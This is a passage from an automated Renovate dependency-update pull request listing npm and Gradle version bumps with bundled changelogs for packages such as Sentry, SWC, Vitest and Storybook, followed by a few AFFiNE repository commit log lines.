| [nestjs-cls](https://papooch.github.io/nestjs-cls/) ([source](https://redirect.github.com/Papooch/nestjs-cls)) | [`5.2.0` -> `5.4.0`](https://renovatebot.com/diffs/npm/nestjs-cls/5.2.0/5.4.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/nestjs-cls/5.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/nestjs-cls/5.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/nestjs-cls/5.2.0/5.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nestjs-cls/5.2.0/5.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [openai](https://redirect.github.com/openai/openai-node) | [`4.83.0` -> `4.85.1`](https://renovatebot.com/diffs/npm/openai/4.83.0/4.85.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/openai/4.85.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/openai/4.85.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/openai/4.83.0/4.85.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/openai/4.83.0/4.85.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [prettier](https://prettier.io) ([source](https://redirect.github.com/prettier/prettier)) | [`3.5.0` -> `3.5.1`](https://renovatebot.com/diffs/npm/prettier/3.5.0/3.5.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/prettier/3.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/prettier/3.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/prettier/3.5.0/3.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/prettier/3.5.0/3.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [react-i18next](https://redirect.github.com/i18next/react-i18next) | [`15.4.0` -> `15.4.1`](https://renovatebot.com/diffs/npm/react-i18next/15.4.0/15.4.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-i18next/15.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-i18next/15.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-i18next/15.4.0/15.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-i18next/15.4.0/15.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [shiki](https://redirect.github.com/shikijs/shiki) ([source](https://redirect.github.com/shikijs/shiki/tree/HEAD/packages/shiki)) | [`2.3.2` -> `2.5.0`](https://renovatebot.com/diffs/npm/shiki/2.3.2/2.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/shiki/2.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/shiki/2.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/shiki/2.3.2/2.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/shiki/2.3.2/2.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [storybook](https://redirect.github.com/storybookjs/storybook/tree/next/code/lib/cli) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/lib/cli)) | [`8.5.4` -> `8.5.6`](https://renovatebot.com/diffs/npm/storybook/8.5.4/8.5.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/storybook/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/storybook/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/storybook/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/storybook/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [typescript-eslint](https://typescript-eslint.io/packages/typescript-eslint) ([source](https://redirect.github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint)) | [`8.24.0` -> `8.24.1`](https://renovatebot.com/diffs/npm/typescript-eslint/8.24.0/8.24.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typescript-eslint/8.24.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typescript-eslint/8.24.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typescript-eslint/8.24.0/8.24.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typescript-eslint/8.24.0/8.24.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [vitest](https://redirect.github.com/vitest-dev/vitest) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest)) | [`3.0.5` -> `3.0.6`](https://renovatebot.com/diffs/npm/vitest/3.0.5/3.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vitest/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vitest/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vitest/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vitest/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [webpack](https://redirect.github.com/webpack/webpack) | [`5.97.1` -> `5.98.0`](https://renovatebot.com/diffs/npm/webpack/5.97.1/5.98.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/webpack/5.98.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/webpack/5.98.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/webpack/5.97.1/5.98.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/webpack/5.97.1/5.98.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [com.android.library](https://developer.android.com/studio/build) ([source](https://android.googlesource.com/platform/tools/base)) | `8.8.0` -> `8.8.1` | [![age](https://developer.mend.io/api/mc/badges/age/maven/com.android.library:com.android.library.gradle.plugin/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/com.android.library:com.android.library.gradle.plugin/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/com.android.library:com.android.library.gradle.plugin/8.8.0/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/com.android.library:com.android.library.gradle.plugin/8.8.0/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [com.android.application](https://developer.android.com/studio/build) ([source](https://android.googlesource.com/platform/tools/base)) | `8.8.0` -> `8.8.1` | [![age](https://developer.mend.io/api/mc/badges/age/maven/com.android.application:com.android.application.gradle.plugin/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/com.android.application:com.android.application.gradle.plugin/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/com.android.application:com.android.application.gradle.plugin/8.8.0/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/com.android.application:com.android.application.gradle.plugin/8.8.0/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [com.android.tools.build:gradle](https://developer.android.com/studio/build) ([source](https://android.googlesource.com/platform/tools/base)) | `8.8.0` -> `8.8.1` | [![age](https://developer.mend.io/api/mc/badges/age/maven/com.android.tools.build:gradle/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/com.android.tools.build:gradle/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/com.android.tools.build:gradle/8.8.0/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/com.android.tools.build:gradle/8.8.0/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>aws/aws-sdk-js-v3 (@&#8203;aws-sdk/client-s3)</summary>

### [`v3.750.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37500-2025-02-17)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.749.0...v3.750.0)

**Note:** Version bump only for package [@&#8203;aws-sdk/client-s3](https://redirect.github.com/aws-sdk/client-s3)

### [`v3.749.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37490-2025-02-14)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.744.0...v3.749.0)

##### Features

-   **client-s3:** Added support for Content-Range header in HeadObject response. ([5b15ad8](5b15ad8260))

</details>

<details>
<summary>Cap-go/capacitor-inappbrowser (@&#8203;capgo/inappbrowser)</summary>

### [`v7.2.16`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7216-2025-02-10)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.15...7.2.16)

### [`v7.2.15`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7215-2025-02-10)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.14...7.2.15)

### [`v7.2.14`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7214-2025-02-09)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.13...7.2.14)

### [`v7.2.13`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7213-2025-02-09)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.9...7.2.13)

### [`v7.2.9`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#729-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.8...7.2.9)

### [`v7.2.8`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#728-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.7...7.2.8)

### [`v7.2.7`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#727-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.6...7.2.7)

### [`v7.2.6`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#726-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.5...7.2.6)

### [`v7.2.5`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#725-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.4...7.2.5)

### [`v7.2.4`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#724-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.3...7.2.4)

### [`v7.2.3`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#723-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.2...7.2.3)

### [`v7.2.2`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#722-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.1...7.2.2)

### [`v7.2.1`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7216-2025-02-10)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.0...7.2.1)

### [`v7.2.0`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#720-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.6...7.2.0)

##### Features

-   add ability to close webview from javascript on ios ([5034997](50349975e5))
-   add close function to unified javascript interface ([c3d9079](c3d9079cab))
-   close webview with window.AndroidInterface.close() from within ([c5eae97](c5eae97a6a))

##### Bug Fixes

-   add better doc for 2 way com ([171ea27](171ea27931))
-   add warning ([84470ae](84470ae1c3))
-   allow inline video ([1368f2a](1368f2a4f0))
-   better definition ([588cc88](588cc88438))
-   CICD ([ee7ef04](ee7ef0430a))
-   order of doc ([71d8923](71d8923996))
-   versions ([941aabe](941aabee33))

##### [7.1.6](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.5...7.1.6) (2025-02-02)

##### Bug Fixes

-   lint ([d3df47c](d3df47cfef))

##### [7.1.5](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.4...7.1.5) (2025-02-01)

##### Bug Fixes

-   build ([89cd832](89cd832f96))

##### [7.1.4](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.3...7.1.4) (2025-02-01)

##### Bug Fixes

-   remove READ_MEDIA_IMAGES ([e30874e](e30874ebe1))

##### [7.1.3](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.2...7.1.3) (2025-02-01)

##### Bug Fixes

-   async thread ([df0bb19](df0bb198a6))

##### [7.1.2](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.1...7.1.2) (2025-02-01)

##### Bug Fixes

-   Fixed back_arrow being displayed correctly instead of close_icon ([0516043](0516043312))
-   openWebView has stopped hiding the phone's status bar. ([465a035](465a03561f))
-   openWebView has stopped hiding the phone's status bar. ([6154e54](6154e5422c))
-   openWebView has stopped hiding the phone's status bar. ([ec6a9c2](ec6a9c2205))

##### [7.1.1](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.0...7.1.1) (2025-01-27)

</details>

<details>
<summary>dotansimha/graphql-code-generator (@&#8203;graphql-codegen/cli)</summary>

### [`v5.0.5`](https://redirect.github.com/dotansimha/graphql-code-generator/blob/HEAD/packages/graphql-codegen-cli/CHANGELOG.md#505)

[Compare Source](https://redirect.github.com/dotansimha/graphql-code-generator/compare/@graphql-codegen/cli@5.0.4...@graphql-codegen/cli@5.0.5)

##### Patch Changes

-   [#&#8203;10282](https://redirect.github.com/dotansimha/graphql-code-generator/pull/10282) [`7d7760d`](7d7760d55c) Thanks [@&#8203;oprypkhantc](https://redirect.github.com/oprypkhantc)! - Fix watcher watching project root when schema URL is used

</details>

<details>
<summary>lit/lit (@&#8203;lit/context)</summary>

### [`v1.1.4`](https://redirect.github.com/lit/lit/blob/HEAD/packages/context/CHANGELOG.md#114)

[Compare Source](https://redirect.github.com/lit/lit/compare/@lit/context@1.1.3...7db8eadb285c2a55fe4aa78c491585e1e90d3b1c)

##### Patch Changes

-   [#&#8203;4734](https://redirect.github.com/lit/lit/pull/4734) [`0f535d48`](0f535d483b) Thanks [@&#8203;sorin-davidoi](https://redirect.github.com/sorin-davidoi)! - Avoid calling Event.composedPath() when it is not needed

</details>

<details>
<summary>open-telemetry/opentelemetry-js (@&#8203;opentelemetry/exporter-prometheus)</summary>

### [`v0.57.2`](cbc912d67b...ac8641a5db)

[Compare Source](cbc912d67b...ac8641a5db)

</details>

<details>
<summary>getsentry/sentry-javascript (@&#8203;sentry/react)</summary>

### [`v8.55.0`](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/8.55.0)

[Compare Source](https://redirect.github.com/getsentry/sentry-javascript/compare/8.54.0...8.55.0)

##### Important Changes

-   **chore(ci/v8): Switch lambda layer name to `SentryNodeServerlessSDKv8` ([#&#8203;15351](https://redirect.github.com/getsentry/sentry-javascript/pull/15351))**

The `SentryNodeServerlessSDK` AWS Lambda Layer will stop receiving updates.
If you intend to stay on `v8` and receive updates use `SentryNodeServerlessSDKv8` instead.

##### Other Changes

-   feat(flags/v8): add Statsig browser integration ([#&#8203;15347](https://redirect.github.com/getsentry/sentry-javascript/pull/15347))
-   feat(v8/node): Add missing `vercelAIIntegration` export ([#&#8203;15339](https://redirect.github.com/getsentry/sentry-javascript/pull/15339))
-   feat(v8/nuxt): Add `enabled` to disable Sentry module ([#&#8203;15337](https://redirect.github.com/getsentry/sentry-javascript/pull/15337)) ([#&#8203;15381](https://redirect.github.com/getsentry/sentry-javascript/issues/15381))
-   feat(v8/vue): Support Pinia v3 ([#&#8203;15384](https://redirect.github.com/getsentry/sentry-javascript/pull/15384))
-   fix(astro): Add vue to `registerEsmLoaderHooks` ([#&#8203;15352](https://redirect.github.com/getsentry/sentry-javascript/pull/15352))
-   fix(react/v8): Support lazy-loaded routes and components ([#&#8203;15281](https://redirect.github.com/getsentry/sentry-javascript/pull/15281))
-   fix(v8/nuxt): Detect Azure Function runtime for flushing with timeout ([#&#8203;15297](https://redirect.github.com/getsentry/sentry-javascript/pull/15297))
-   fix(v8/solidstart): Do not copy release-injection map file ([#&#8203;15304](https://redirect.github.com/getsentry/sentry-javascript/pull/15304))
-   fix(v8/svelte): Guard component tracking `beforeUpdate` call ([#&#8203;15262](https://redirect.github.com/getsentry/sentry-javascript/pull/15262))

Work in this release was contributed by [@&#8203;aryanvdesh](https://redirect.github.com/aryanvdesh). Thank you for your contribution!

##### Bundle size 📦

| Path                                                             | Size              |
| ---------------------------------------------------------------- | ----------------- |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser)                                                  | 23.3 KB   |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) - with treeshaking flags                         | 23.17 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing)                                  | 35.9 KB   |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay)                          | 73.27 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay) - with treeshaking flags | 66.71 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay with Canvas)              | 77.57 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay, Feedback)                | 89.5 KB   |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Feedback)                                 | 39.51 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. sendFeedback)                             | 27.91 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. FeedbackAsync)                            | 32.71 KB  |
| [@&#8203;sentry/react](https://redirect.github.com/sentry/react)                                                    | 25.98 KB  |
| [@&#8203;sentry/react](https://redirect.github.com/sentry/react) (incl. Tracing)                                    | 38.71 KB  |
| [@&#8203;sentry/vue](https://redirect.github.com/sentry/vue)                                                      | 27.58 KB  |
| [@&#8203;sentry/vue](https://redirect.github.com/sentry/vue) (incl. Tracing)                                      | 37.75 KB  |
| [@&#8203;sentry/svelte](https://redirect.github.com/sentry/svelte)                                                   | 23.46 KB  |
| CDN Bundle                                                       | 24.49 KB  |
| CDN Bundle (incl. Tracing)                                       | 37.6 KB   |
| CDN Bundle (incl. Tracing, Replay)                               | 72.9 KB   |
| CDN Bundle (incl. Tracing, Replay, Feedback)                     | 78.23 KB  |
| CDN Bundle - uncompressed                                        | 71.92 KB  |
| CDN Bundle (incl. Tracing) - uncompressed                        | 111.52 KB |
| CDN Bundle (incl. Tracing, Replay) - uncompressed                | 225.78 KB |
| CDN Bundle (incl. Tracing, Replay, Feedback) - uncompressed      | 238.88 KB |
| [@&#8203;sentry/nextjs](https://redirect.github.com/sentry/nextjs) (client)                                          | 38.96 KB  |
| [@&#8203;sentry/sveltekit](https://redirect.github.com/sentry/sveltekit) (client)                                       | 36.4 KB   |
| [@&#8203;sentry/node](https://redirect.github.com/sentry/node)                                                     | 162.85 KB |
| [@&#8203;sentry/node](https://redirect.github.com/sentry/node) - without tracing                                   | 99.14 KB  |
| [@&#8203;sentry/aws-serverless](https://redirect.github.com/sentry/aws-serverless)                                           | 131.23 KB |

</details>

<details>
<summary>storybookjs/storybook (@&#8203;storybook/addon-essentials)</summary>

### [`v8.5.6`](https://redirect.github.com/storybookjs/storybook/blob/HEAD/CHANGELOG.md#856)

[Compare Source](https://redirect.github.com/storybookjs/storybook/compare/v8.5.5...v8.5.6)

-   Builder-Vite: Fix defaulting to allowing all hosts - [#&#8203;30523](https://redirect.github.com/storybookjs/storybook/pull/30523), thanks [@&#8203;JReinhold](https://redirect.github.com/JReinhold)!
-   UI: Fix tags sort for browser back-compat - [#&#8203;30547](https://redirect.github.com/storybookjs/storybook/pull/30547), thanks [@&#8203;shilman](https://redirect.github.com/shilman)!

### [`v8.5.5`](https://redirect.github.com/storybookjs/storybook/blob/HEAD/CHANGELOG.md#855)

[Compare Source](https://redirect.github.com/storybookjs/storybook/compare/v8.5.4...v8.5.5)

-   Builder-Vite: Fix Turbosnap - [#&#8203;30522](https://redirect.github.com/storybookjs/storybook/pull/30522), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!

</details>

<details>
<summary>swc-project/swc (@&#8203;swc/core)</summary>

### [`v1.10.17`](https://redirect.github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11017---2025-02-18)

[Compare Source](https://redirect.github.com/swc-project/swc/compare/v1.10.16...v1.10.17)

##### Bug Fixes

-   **(deps)** Update cargo (patch) ([#&#8203;10021](https://redirect.github.com/swc-project/swc/issues/10021)) ([ffb7734](ffb77342d9))

-   **(typescript)** Improve type inferring for undefined and null ([#&#8203;10038](https://redirect.github.com/swc-project/swc/issues/10038)) ([5059ece](5059ece95a))

-   **(typescript)** Remove the usages of private members ([#&#8203;10037](https://redirect.github.com/swc-project/swc/issues/10037)) ([8410b59](8410b59621))

##### Performance

-   **(hstr)** Use thin arc for hash and length ([#&#8203;10033](https://redirect.github.com/swc-project/swc/issues/10033)) ([2bea793](2bea793bf3))

-   **(hstr)** Skip interning if the text is long enough ([#&#8203;10035](https://redirect.github.com/swc-project/swc/issues/10035)) ([2622e4e](2622e4e1d0))

##### Testing

-   **(hstr)** Add tests ([#&#8203;10043](https://redirect.github.com/swc-project/swc/issues/10043)) ([32b58f0](32b58f0b21))

-   **(ts/fast-strip)** Add tests for `declare module` error cases ([#&#8203;10040](https://redirect.github.com/swc-project/swc/issues/10040)) ([37672e0](37672e024e))

### [`v1.10.16`](https://redirect.github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11016---2025-02-13)

[Compare Source](https://redirect.github.com/swc-project/swc/compare/v1.10.15...v1.10.16)

##### Bug Fixes

-   **(es/minifier)** Check assign target before merge assign cond ([#&#8203;10020](https://redirect.github.com/swc-project/swc/issues/10020)) ([6dab49a](6dab49a07c))

-   **(es/parser)** Preserve comment positions with leading semicolon ([#&#8203;10019](https://redirect.github.com/swc-project/swc/issues/10019)) ([c9937b6](c9937b65bf))

-   **(swc_common)** Fix panic with non-narrow chars with width != 2 ([#&#8203;10011](https://redirect.github.com/swc-project/swc/issues/10011)) ([f9f4cac](f9f4cac0e5))

-   **(ts/fast-strip)** Handle unsupported `module` keyword ([#&#8203;10022](https://redirect.github.com/swc-project/swc/issues/10022)) ([308f5d0](308f5d03c7))

##### Performance

-   **(es/codegen)** Reduce allocation using `compact_str` ([#&#8203;10008](https://redirect.github.com/swc-project/swc/issues/10008)) ([7d7319f](7d7319f248))

</details>

<details>
<summary>vitest-dev/vitest (@&#8203;vitest/browser)</summary>

### [`v3.0.6`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.6)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.5...v3.0.6)

#####    🐞 Bug Fixes

-   Fix `getMockedSystemTime` for `useFakeTimer`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7405](https://redirect.github.com/vitest-dev/vitest/issues/7405) [<samp>(03912)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/03912b43)
-   Compat for jest-image-snapshot  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7390](https://redirect.github.com/vitest-dev/vitest/issues/7390) [<samp>(9542b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/9542b699)
-   Ensure project names are readable in dark terminals  -  by [@&#8203;rgrove](https://redirect.github.com/rgrove) in [https://github.com/vitest-dev/vitest/issues/7371](https://redirect.github.com/vitest-dev/vitest/issues/7371) [<samp>(bb94c)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bb94c19f)
-   Exclude `queueMicrotask` from default fake timers to not break node fetch  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7505](https://redirect.github.com/vitest-dev/vitest/issues/7505) [<samp>(167a9)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/167a98d7)
-   **browser**:
    -   Fix mocking modules out of root  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7415](https://redirect.github.com/vitest-dev/vitest/issues/7415) [<samp>(d3acb)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/d3acbd8b)
    -   Fix `toHaveClass` typing  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7383](https://redirect.github.com/vitest-dev/vitest/issues/7383) [<samp>(7ef23)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7ef238c0)
    -   Relax locator selectors methods  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7422](https://redirect.github.com/vitest-dev/vitest/issues/7422) [<samp>(1b8c5)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1b8c5c9e)
    -   Resolve thread count from `maxWorkers`  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7483](https://redirect.github.com/vitest-dev/vitest/issues/7483) [<samp>(adbb2)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/adbb25ab)
    -   Cleanup timeout on resolve and give more information in the error  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7487](https://redirect.github.com/vitest-dev/vitest/issues/7487) [<samp>(5a45a)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/5a45a7ca)
-   **coverage**:
    -   `vite-node` to pass correct execution wrapper offset  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7417](https://redirect.github.com/vitest-dev/vitest/issues/7417) [<samp>(1f2e5)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1f2e5552)
    -   Preserve moduleExecutionInfo in non-isolated runs  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7486](https://redirect.github.com/vitest-dev/vitest/issues/7486) [<samp>(f31a0)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/f31a07bb)
-   **deps**:
    -   Update all non-major dependencies  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa)
2025-02-18 15:14:03 +00:00
Saul-Mirone
2f04e3180c refactor: move utils and cleanup test helpers (#10261) 2025-02-18 14:03:51 +00:00
Saul-Mirone
faf6e2c79f refactor(editor): optimize store map (#10246) 2025-02-18 13:30:09 +00:00
donteatfriedrice
15e9acefc2 fix(editor): paste when select multiple block texts (#10227)
[BS-2512](https://linear.app/affine-design/issue/BS-2512/选中多段粘贴,多段只有第一段会被replace,这个bug还在)
2025-02-18 12:13:55 +00:00
darkskygit
176e0a1950 fix: raw body limit (#10254) 2025-02-18 11:34:58 +00:00
liuyi
4c7eedb920 fix(server): body parser limit (#10260) 2025-02-18 10:48:29 +00:00
doouding
c21f71f58c feat: add dnd database preview block (#10258) 2025-02-18 10:25:00 +00:00
doouding
75678ceca8 fix: allow to drop inside the note block in edgeless mode (#10255) 2025-02-18 10:24:59 +00:00
forehalo
cd00f06b77 chore(core): track otp usage (#10248)
close AF-2235
